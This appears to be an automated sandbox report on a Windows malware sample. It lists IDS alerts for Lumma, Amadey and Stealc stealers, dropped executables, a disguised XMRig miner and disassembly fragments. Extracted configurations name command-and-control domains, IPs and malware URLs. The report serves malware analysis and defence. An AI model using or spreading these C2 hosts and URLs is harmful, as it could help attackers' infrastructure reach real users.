2024-12-13T01:51:54.890948+0100	2028371	3	Unknown Traffic	192.168.2.4	49888	104.21.79.7	443	TCP
2024-12-13T01:51:57.289237+0100	2028371	3	Unknown Traffic	192.168.2.4	49896	104.21.79.7	443	TCP
2024-12-13T01:51:57.577496+0100	2028371	3	Unknown Traffic	192.168.2.4	49898	172.67.213.48	443	TCP
2024-12-13T01:52:01.990510+0100	2028371	3	Unknown Traffic	192.168.2.4	49915	172.67.213.48	443	TCP
2024-12-13T01:52:02.272978+0100	2028371	3	Unknown Traffic	192.168.2.4	49919	104.21.79.7	443	TCP
2024-12-13T01:52:07.114316+0100	2028371	3	Unknown Traffic	192.168.2.4	49941	104.21.79.7	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:51:41.937024+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49843	172.67.213.48	443	TCP
2024-12-13T01:51:44.545764+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49849	172.67.213.48	443	TCP
2024-12-13T01:51:48.671485+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49863	104.21.79.7	443	TCP
2024-12-13T01:51:50.768523+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49870	104.21.79.7	443	TCP
2024-12-13T01:52:04.863210+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49915	172.67.213.48	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:51:41.937024+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49843	172.67.213.48	443	TCP
2024-12-13T01:51:48.671485+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49863	104.21.79.7	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:51:44.545764+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49849	172.67.213.48	443	TCP
2024-12-13T01:51:50.768523+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49870	104.21.79.7	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (fightlsoser .click in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:51:41.230366+0100	2058160	1	Domain Observed Used for C2 Detected	192.168.2.4	49843	172.67.213.48	443	TCP
2024-12-13T01:51:43.447117+0100	2058160	1	Domain Observed Used for C2 Detected	192.168.2.4	49849	172.67.213.48	443	TCP
2024-12-13T01:51:46.802002+0100	2058160	1	Domain Observed Used for C2 Detected	192.168.2.4	49862	172.67.213.48	443	TCP
2024-12-13T01:51:49.339513+0100	2058160	1	Domain Observed Used for C2 Detected	192.168.2.4	49869	172.67.213.48	443	TCP
2024-12-13T01:51:51.748596+0100	2058160	1	Domain Observed Used for C2 Detected	192.168.2.4	49878	172.67.213.48	443	TCP
2024-12-13T01:51:54.806768+0100	2058160	1	Domain Observed Used for C2 Detected	192.168.2.4	49887	172.67.213.48	443	TCP
2024-12-13T01:51:57.577496+0100	2058160	1	Domain Observed Used for C2 Detected	192.168.2.4	49898	172.67.213.48	443	TCP
2024-12-13T01:52:01.990510+0100	2058160	1	Domain Observed Used for C2 Detected	192.168.2.4	49915	172.67.213.48	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:51:17.583116+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49786	185.215.113.43	80	TCP
2024-12-13T01:51:26.191761+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49805	185.215.113.43	80	TCP
2024-12-13T01:51:38.484517+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49836	185.215.113.43	80	TCP
2024-12-13T01:51:45.129376+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49855	185.215.113.43	80	TCP
2024-12-13T01:51:51.295901+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49874	185.215.113.43	80	TCP
2024-12-13T01:51:58.378531+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49902	185.215.113.43	80	TCP
2024-12-13T01:52:07.155686+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49940	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fightlsoser .click)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:51:39.681998+0100	2058159	1	Domain Observed Used for C2 Detected	192.168.2.4	50837	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:52:00.688379+0100	2044247	1	Malware Command and Control Activity Detected	116.203.10.31	443	192.168.2.4	49905	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:52:03.024584+0100	2051831	1	Malware Command and Control Activity Detected	116.203.10.31	443	192.168.2.4	49914	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:52:00.688356+0100	2049087	1	A Network Trojan was detected	192.168.2.4	49905	116.203.10.31	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:51:55.536518+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49887	172.67.213.48	443	TCP
2024-12-13T01:51:55.921781+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49888	104.21.79.7	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:52:06.381502+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49933	185.215.113.206	80	TCP
2024-12-13T01:52:33.841334+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50018	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:51:05.129387+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49753	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:51:16.215255+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49759	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:51:09.576757+0100	2803305	3	Unknown Traffic	192.168.2.4	49765	31.41.244.11	80	TCP
2024-12-13T01:51:19.033527+0100	2803305	3	Unknown Traffic	192.168.2.4	49787	31.41.244.11	80	TCP
2024-12-13T01:51:27.679204+0100	2803305	3	Unknown Traffic	192.168.2.4	49809	31.41.244.11	80	TCP
2024-12-13T01:51:39.934340+0100	2803305	3	Unknown Traffic	192.168.2.4	49839	31.41.244.11	80	TCP
2024-12-13T01:51:46.581456+0100	2803305	3	Unknown Traffic	192.168.2.4	49858	31.41.244.11	80	TCP
2024-12-13T01:51:52.753378+0100	2803305	3	Unknown Traffic	192.168.2.4	49880	185.215.113.16	80	TCP
2024-12-13T01:51:59.843611+0100	2803305	3	Unknown Traffic	192.168.2.4	49906	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-13T01:51:57.581620+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49898	172.67.213.48	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://fightlsoser.click/apiPl	Avira URL Cloud: Label: malware
Source: https://fightlsoser.click/api	Avira URL Cloud: Label: malware
Source: https://fightlsoser.click:443/api	Avira URL Cloud: Label: malware
Source: https://fightlsoser.click/api4Q	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/(	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/$	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/O	Avira URL Cloud: Label: malware
Source: https://fightlsoser.click/api2Q	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/g	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/t	Avira URL Cloud: Label: malware
Source: https://drive-connect.cyou/apii8R	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/e	Avira URL Cloud: Label: malware
Source: https://grahm.xyz/e~	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Temp\1014589001\bb21432993.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1320706
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1306956
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Avira: detection malicious, Label: HEUR/AGEN.1306956

Found malware configuration

Source: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 8b334ae3d2.exe.3868.25.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["impend-differ.biz", "formy-spill.biz", "print-vexer.biz", "covery-mover.biz", "zinc-sneark.biz", "drive-connect.cyou", "se-blurry.biz", "dwell-exclaim.biz", "dare-curbys.biz"], "Build id": "FATE99--test"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\1014585001\19ea177b6f.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1014589001\bb21432993.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 58%

Multi AV Scanner detection for submitted file

Source: file.exe

Virustotal: Detection: 58%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014589001\bb21432993.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Code function: 7_2_00416B7E CryptUnprotectData,

7_2_00416B7E

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.3.Intel_PTT_EK_Recertification.exe.179e9200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000023.00000002.2751971624.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2750266127.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2750266127.0000000000A59000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2751844603.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5904, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2892, type: MEMORYSTR

Found strings related to Crypto-Mining

Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: Intel_PTT_EK_Recertification.exe, 00000022.00000003.2740960653.00000179E9200000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe

Unpacked PE file: 41.2.d6cdb1061b.exe.400000.0.unpack

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49862 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49870 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.4:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.10.31:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49887 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.213.48:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.79.7:443 -> 192.168.2.4:49941 version: TLS 1.2

Source:

Binary string: C:\Users\Administrator\Desktop\Cryptor2\Workspace\940993430\Project\Release\Project.pdb source: 1747150d4f.exe, 00000007.00000003.2690439069.000000000311A000.00000004.00000800.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000002.2946857839.000000000117C000.00000002.00000001.01000000.00000009.sdmp, 1747150d4f.exe, 00000007.00000000.2436830312.000000000117C000.00000002.00000001.01000000.00000009.sdmp

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+05h]	7_2_0040A960
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+79314A46h]	7_2_00426170
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then push eax	7_2_0040C36E
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	7_2_0043DBD0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov edx, ecx	7_2_00409CC0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 29DF508Eh	7_2_0043DCF0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov byte ptr [edx], bl	7_2_0040CE55
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax+36A27D27h]	7_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov byte ptr [esi], al	7_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	7_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+07540F19h]	7_2_0042C6D7
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov word ptr [eax], dx	7_2_00417E82
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 299A4ECDh	7_2_0043E690
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	7_2_0042BFD3
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-51BA460Ah]	7_2_0042BFDA
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	7_2_0042A060
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	7_2_00425F7D
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov edx, ecx	7_2_0041D074
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov edx, ecx	7_2_0041D087
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov byte ptr [esi], cl	7_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov byte ptr [esi], cl	7_2_0042D085
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	7_2_0041597D
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	7_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov edi, eax	7_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov ebx, eax	7_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov ebp, eax	7_2_00405910
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], B430E561h	7_2_00425920
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_004286F0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	7_2_00417190
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov ecx, eax	7_2_00422270
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov byte ptr [edi+ebx], 00000000h	7_2_0040C274
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov eax, dword ptr [00444284h]	7_2_00425230
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	7_2_0043CAC0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+1Ch]	7_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov edx, ebx	7_2_004292D0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	7_2_0042AAD0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov byte ptr [eax], cl	7_2_00415ADC
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx ebx, bx	7_2_0042536C
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+esi]	7_2_00402B70
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov word ptr [ecx], dx	7_2_00427307
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx ebp, word ptr [ecx+ebx*2]	7_2_00436B20
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	7_2_0043CBD6
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	7_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	7_2_00407470
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then jmp eax	7_2_0042B475
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], B430E561h	7_2_00419C10
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	7_2_0043CCE0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov byte ptr [ebx], al	7_2_0042B4BB
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	7_2_0043CD60
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	7_2_004345F0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+2Ch]	7_2_00427653
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov eax, dword ptr [ebp-10h]	7_2_0043CE00
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	7_2_0042A630
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-41h]	7_2_004296D8
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edi, byte ptr [esi+ecx-000000BCh]	7_2_00415EE0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_00421EE0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then cmp al, 2Eh	7_2_004266E7
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov word ptr [eax], cx	7_2_004286F0
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax-000000BCh]	7_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then mov edi, eax	7_2_00416E97
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then cmp word ptr [ebp+edx+02h], 0000h	7_2_0041CEA5
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then add ebx, 03h	7_2_00428F5D
Source: C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0BF7BDDDh]	7_2_00425F7D
